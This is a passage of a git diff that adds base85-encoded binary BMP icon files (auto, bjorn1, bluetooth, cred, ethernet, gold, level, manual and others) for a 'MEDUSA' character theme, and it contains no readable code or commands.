z0tJSyGMNk>N1>TOAVBv|_j%S2>0mGj7CI%9$xf%!?RFgw2QAZXw;$_3#GpX*`~6@| zr&BsCo6UAO93JbA$D_;Tg3e$tY`5EZJdPNaN~Nd>{@y;3PN&l#3Iu{&E{DM**6a22 z`TRE>C_0@EbhFv4R4Nhpe7=+DaX%nluNQP`m?!?_-*lBq1tX<8i^YO_cCHJBLV)m( z3x&evd)V!EcDr4zRfhh;e}dX|>vNxqPVuh^sLgjmG2gRWm?%27o4$2?l@6tdu76%ymWE>cJ&Nwizo?u{L{=mSn;jjbP3;_NcD*^xj literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/auto.bmp b/resources/default_config/characters/MEDUSA/static/auto.bmp new file mode 100644 index 0000000000000000000000000000000000000000..12b6f4f6b6463b953155b4105fc98dcb943d05b5 GIT binary patch literal 1062 zcmZ{j&u-d45XKi3F6FO!>K&=7WO~GKZVVhqrSKAs5IvDvJU}oJPr|hU-hgv~Lv3<_ zrsqJ^12k>GrayZUw<+q%yBg1Y-_Go}vv1$MimG7ftgo3b9%e+n4E*1pDK$#T3>+*! zHf#BQ{k+@ny_sWoEXy#ATre;?9m{cSLI6VWBX768UoLM<^J5~Bh{a-XYK)VUoTf#i z(L^#~nkE2XLJfHQeO)XHg@RI%#)rmqI&t0IJ{TC2@wi^EQ<+}SfeBS9va^w%&!^Mr z!C)Zp!}ap=Q!16xbsaDir997VHk)kMAM}9-r#z(j9;m$c`+qUEJIF%5ol*>fs z^La?b#*@uv#dCW49<+S7KF+5TdAB{%j zqhM?)Qfz(!0DI&aM^EY`jtY{4l|AstpiZc7a=B8;@O3%&b(#3ONLV3LaBJdYZDUPgp)=M?wtl% zEpPJqd?u3_{=d%#{XUIYEEaE9tDw&UmF^ddIlUK&L>dkHdg{4uSRQA>NhV0&uCF;I xlz-om`Q#ndYFrgUq>{;2t983t3h6H%rr*(?i%j9WMe=gFbaBy{&76aG`y1pIc>4eV literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/bjorn1.bmp b/resources/default_config/characters/MEDUSA/static/bjorn1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1c81cf61ed896f2c5c790ce87c6243d80f82a626 GIT binary patch literal 18462 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 HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/bluetooth.bmp b/resources/default_config/characters/MEDUSA/static/bluetooth.bmp new file mode 100644 index 0000000000000000000000000000000000000000..58e207902f9a067c91194b5d2af3b493d175ff34 GIT binary patch literal 446 zcmZ?r-N(oP24+A~1Bf|+m=A~<86S2gkj)63|zc;$*g)U7x2I1|Rw+NP@csMu469eIxp3hkP~o9NhxK#~ ze|-Ob=FC}D6%AKscZTSwSQTaU?b~;pIC0X@!1(RkcT*-$RZ>)~D6eGr_U&79Q;VFe zVoY?bk)cUgXoRAI%F30ifF?oh+q`MBnyRLxgp7@~-Q`P{QQWd=BQ`mpnN5ulGvm3xKMXAm+{4NF&Ue3a@B7D>C_KJ5@RfR^UMNwJK|%QB{QEhphX9<<=jC#FI2`u- zJ?Q)X>2yLzucVHgeu1Ix0m*Q>7UwrzW!hfW{v)@n7=G$l#GLqc?rw;=U;y;7;*$?`A-`3r?Y zsZ=5=e6?C(V=e#Z?Q}X>9<~7?D${klUAXJI_>afq<#J(@v<2aD9HZaw_cTr0?RK$P MY_(dq+YJT%2UDPpqW}N^ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/charging1.bmp b/resources/default_config/characters/MEDUSA/static/charging1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..4482007cb14c4037e70174f4d28c29677689d4a7 GIT binary patch literal 438 zcmY+AJ&J@t5QQ~yvSq_L!h-pjZ@xz`@(kvyh>5=_DB}rCOxIjCF*4Lp!4oKGpfk>+ z3mT`O9>v$s>Surd{D}gq8}ti(L4Tq};R+RmU!4DcP%{8Yk|c_vEX(e!FoS?wmUXpoaLSz+`%58QE_cl!Y+`C%N#5vLfS#K~V2MP1kQ;hBTzy52Mm_xrxT?>pjY znx-hqG)-X`^8LuBs%lkL^E?MZaL!YfW#9MMgB#C$+qPjC_YuW6utTbT)QR?f}t2TW?WFplwBnusR^meu~e*e!M=tC3pV|5Me3NCw2MMg z+_9*|rNuh5i+<3ST`?&Xu%^Ha!weteVGt5GrZ4y2ygBc@JLlcQc|YAHV?9B&An*On zJ9OW`gE;>Nu%E-#l%!h*(SX=$HoNV1uiNctnj*^pRYhs5D(a|{!39f}q^u}@+1}2b zoU}C!Q7)Cva=B8m*zI)sHyRBh^g7tz_jo*3i^b(~Jz$u??Cj@c(&2EJOr}RxYbX@@ zeSM985asiE0O4@BQZCnSZhjUDFJ@*Q+wGa%T{Qi%x99bGeLi2kRwH^dKOYDLbY0h4 zEkyD1vT$+X8Xu2uZUTe=MNyni=gQI&5n7~ocJy9PZZvTCe0q9gef|CFD!Suy0DcsN zXH!!|_OY?A=`^@dkLsD6jK||E%gcVhf5c60ZEiF;wM*ON&pfMVaCK8Ft)fJ`z b_x|-*H#{B~j6IY>hBmZ$$Q_yfpAFF;L)O8a literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/cred.bmp b/resources/default_config/characters/MEDUSA/static/cred.bmp new file mode 100644 index 0000000000000000000000000000000000000000..47ea10c6f450d336dfbc7448a277d5ec664c7546 GIT binary patch literal 1062 zcmZ?rRbycQ12Z700mMR3%*Y@C7XQG^z;J{Qg24hn;y(z&^c_EbQb$`~Q9(sTSsg1jN^%%PJxAlO|08Dknl8&{aT%K0f~M-+%c1`*%umx|D=0#Ho1gQ&rJW zlve>-|L@;Fpq0Q723iITDO~QH40R{aH~M{nb1EG7#u)<01;5Do~}VkN?J~Ku8FZZP!mKP z=)dx^3RL^%&7Cj6CoC(YASbH`L_j5i0-}NfB0$3+B0!R#PpGM>6;C;udiojgm1~>esyCX(2UX0PBM=fnu*OZ8}n~cDzOZ%Djjx3!<;g2coExU1o=?BMA_kPcL-tV06obzgpzX<5OG=O|C#<$_nk2C)h{59Ie z&IG{k^IEM|)oL}7NVwf@v)QcGYM-B<0Zk^8%jJs4e+n|gV9K@b511OkD_;~9-czuzB=#gfV7`};c}>;r+o z>+357xx2dq<^BCVQmfTYr}OjkbHCqT(%o*i^Z6Wd0EGSVcm)1%ICQ&Ruh%P)NKmKK z0d=KPd3$>^7z|>un9XL>>2xZU3dmxyL?V%1uMY-;#bR-{+x2=qRIAlAnp2_wXUXMq zIEj=><&~ODCevs%2m%QED=(kVM<+u_CX@MmzH~ZWuh)me;dnfr&1RFyWHcHz8jVaQ z1GP~o6nH$I!{H#C%~mKBE`JZAR;!iI=d;-?oCnP1a?NHFK5-G0N+qk+iq`8jlmUWB zrBX-+hr?YZ0}Rvy$^|3RZnrm^4T?si6bj`^ck30VAsh}Pp-^~Bfyr~ZTm%il^xYyK z9v%?P?=3ebe`@B}*O$ZLU^1DQihoH4gJHMZ`~Cj+{ehDoA0Hl%2gX*VQbE&TWS^d% TpyN874z5rtl^P5Nmx`l5bKd;E literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/ethernet.bmp b/resources/default_config/characters/MEDUSA/static/ethernet.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c5e20d8ea72342894513ed1ca1bb8288294dfe1a GIT binary patch literal 670 zcmZ?royWug24+A~1Bm&cn2|vOES>?BKLQj4VHnu4V~3@srJ9PN z15gD_8$McIUY>!0pPwID4L3J89~b}`$l~nm>3rC;M^=K&K6>;hs@gq!_H5m{b^iSMixw?f37MG6@2(4xndcWMqKB2aFl404OCTB{gf- HECvPu_ZqmM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/frise.bmp b/resources/default_config/characters/MEDUSA/static/frise.bmp new file mode 100644 index 0000000000000000000000000000000000000000..17295513d003b3f69bc868f05139307ca315de4c GIT binary patch literal 4146 zcmZwK3DA#K8wT)Kq3p6}4Oz1*B}(29l_`7nCEL(qB!py(X|W77mJy{gvX!NYWTzNg z`0UHjL^T*?8^%|@U+%AG{zK2q`@HA5&pFq*&wZ}@y3aqoX^q@zH=kPG<^2uwm(5>> zv_jr#Y5&cYmbNKp{M|Hoz5e>^_3G7o=%I%mfBf;bZQFkM;fE(rp1gSR;=FnDx^(GM zzkdBEo_L}|hYqu6&pvqY;PmO!8#QWFym;~a`SVwAuwX$0JcSAsDpRIR!-fstefQm;e){S6-+%w~(@&wngxtAv=g&U-4D6IC zQ_|DZixw?fpg@6Y)vERC)ocCw^`}mqTC`}s~R;_a7%30SK&wcmZSE*7Z zutSFq-MMq;kt0Vm9(m-E!i5X#ty8DYn{U4P-FM&h?c3ML*l3O%IV}3oM;~q5wr$Lq zF-@8@DOp|*QIt;2^8fAYyEOOz;)IdkS)V0}WiJ8q91JGNrQinj~^ShZ@^TZ}&Q zh+H%9JVEcinXte{LD9H%pc*S+i!CpLQx}oC!PRXm~T`%a<=s$}X%ZhS95$H*el(14&j4SU%tt zMg^MQyYId`f#s4e`$a#GQ}78eKoC2^+pJl$FTeb9)TmMDl+10{t{tW=Uc4B46C>Zg z`R1Gb`}fb7F(Z{H_$e2#YuBz_dVl=!$L-sRW%4U4qeym|A{qesu2IU`Rs{&VxO%7O(8L}wQJWlvQ3*d5p&9L z|NeWa%IKh-qsBe=+%s+3wBLUFjVSf* z-Mc}91~qHel$egyzMP0L@tFAY&p&_u`R75B2OfAp#60cWw-*PC8fL}dIS!MfUw{48 zyGM^6k{7Ho4$h8J(;dec?9;^XP*^b zE*YG}{NK^P@_Vi#tl>@29C`xF|7+K-1%lML9abex${c*x28mA=j6_bkso}Vt`_oT9 zoxm#k;uf&D8g?XEx^!t6F(=U((U>)B7L_o|NZ`h}erP8#censU3Hg(_6vV^)5hF&N zJ$rWi`0+F(af7O;<6nLCRh+x77%u`c)ZrSbC`64wr08Xgh75Y|z4x4^`#^GJddVq~ zAwIDdk~;_#a*qNVSCO7QdxoYZ&S)r?-kg8wrI+Zfdr?p>z~$iFxpPTM7;QEPEEFqN ztcVO1hXA=9*69o!IFPotZrwWg9Jwjcl&3e|cq68`Cq&9LZ{9qSW%oTX5AG$}(!YOy zMu%cW0W4XvBr#DScy4!be6dH%2`L)8zgb24#1gKWQp~L>0u>VEPO@Rc1`MZrU?r>* zpFDZ;o;`cyRO~%qWk;t@otz-@gB6W97aHi2$>-Q$z}hB_b(+LheK$sCp{24VECCzw z#1?{Z`0!zcAT^B2fn50d>#sqv#}w`fsoe!EszXyf!MZ(0oBXvh%3PMJgs@Jt^*LU7|C+=xH2?fw=gGj5=At$an%G8)3DxFMS zHvst=WidXJw}VctUos_-!KTKfNRc9lngltSF5Pq`pGkxNp5*gi8`h%9Qakl38zZY! zsbUw2#3j=eHP7vCBm*?K{ph2Q3UW|AwM$;Ox7;2aRr~gzB#s+Dd5HgR3j#>`2p4?F zg3s<|=s;DOt5>h87ZgB3@tiv0u$zE88)C4l;FeBLPj{p6>yjooady8Dfr~)ETE#)P zXwd>KPng^|iuzkdCsr`v_)WQ{8&N>gUaF9+S7{PdP7)Sf4F(&+@O)kQ#B`CT9aVEyQL l>#euI8cEZnr@5{}rW-~x!4esEMwdOsLN&CUWbqcO{{drENx%RA literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/gold.bmp b/resources/default_config/characters/MEDUSA/static/gold.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c729f59a8b7efaabc5264b3e4f963eaafa47795e GIT binary patch literal 1398 zcmZ{kStzVw7{_NY$FX#bWinjYQl>Lu>&8Pa#`dTWM)&@YHp2aRG$Ue`jY0|B;cA&dyGB5fKqDFE2E#va(VH zMCjw=Ge19%@y5mmh)8N{YmNSokB{;3@qAZRRRshDP_ROw$jQkmE-pSeI9Oj_*Jw0# zb#`}^D5+tJZck`!U7kxU;R9z^|wp;E#~78VxRis|X;@bGY) zQ8+j_tgWrh%*;4DJC~G{Fo>?MuGG|2T6lhbURG9y86hdw+uQqVe4(InI>HLF!t}Mi zzJ7dsJTEVg$=li45d$-G{Ndr@kM*N~kceHty1BVIHa6D9#ig~iH6$cN1joi)Kbr&| z0qK+IKRS#`OH0`$CZyBpy1TnKH#Z9l3nL>Vt*xz%5lk_R{b&BP(bLnDBE|gCfn8Ko z6dD?e%FD}(uyJv5_y-3ElQstL^Jlh)hll0m-__QD{Q&{q{9|~Vj;=~j!*7C_YHeN@Ba_J`Txw#&53my8yll} wetv$evs^A`kZem^TibvCKYtL7Z>H7P*C&2tT)X}K{ngdgv$M00HiDP@27kgC?*IS* literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/level.bmp b/resources/default_config/characters/MEDUSA/static/level.bmp new file mode 100644 index 0000000000000000000000000000000000000000..42f2a68dcb942cf0f9370b3ba07a2ffb247656bd GIT binary patch literal 1062 zcma))Kd3=b9LMkNy+Ns4-r{Zsd1O!qQar;m8Qv~gl$6P0F_Fzq8ObDNRu<|FV#KB- z3Z=Y3{w?o)-~GLNI-IBc>YRS(d%mCF?{`o4{p0mn(!z_~f%WpYWJ%TZuO~_RRA^}e zwr?$>(Wov+*=%;V+c_M+73%dm8Or6dEX(BadeMMnpU-D9nKGG7E|=@|daYK=Xf#@_ z)_6RAxm@6Z4k(dGAgNZXI)@TAo9%EoP?=;hX*QdS#Ujx8e9pMZWI_gxgJrYXK%UKJ z7K$TtS7wx3r3I;Z+J|_vd@pwEU3Xz9kzUCn8_j|Y7 m&7(L%WSuAxILIg+2m}a4a?|NPhnv-Ege#77i=>C literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/manual.bmp b/resources/default_config/characters/MEDUSA/static/manual.bmp new file mode 100644 index 0000000000000000000000000000000000000000..0c1954d279f6080c3e197d76e52decbf3937f673 GIT binary patch literal 1062 zcmZ{jzit{q5Qi59n($Yt(j!Hdj+7kK@nH%a$<#anA{7qe0nB0XB(yQd8_*ky+>r)i z*9I$v9VdZ1@^ND}Bq*!9(d^#u+nJl4efR!NRE5LD9`U|hQlpf-;R5FS z`nA!PIlRwryEfE*v=BuI+g)pAcyAj$5yOEf#mJ*2hF55sSrOs*JOg@RI%#)rmaGWPxTCLB29>+5>GPG)AoL?)U263f`1}$EgX$T;$!iVYYuUzbD@-F9aBB3M3FToNeV5gXwEPU z5T&SerBYe1R!@%)nj=XDVWg7#@emUSE@zxpPT>eCoP;4Ha`F59zK*x!tmA+4lq6@f z861PaK$?4-%auyjwk{Xjx{UwSMT7!jWgFp!LkF>K+e&%v=lIL#bAXUkNlbG%vWTtK 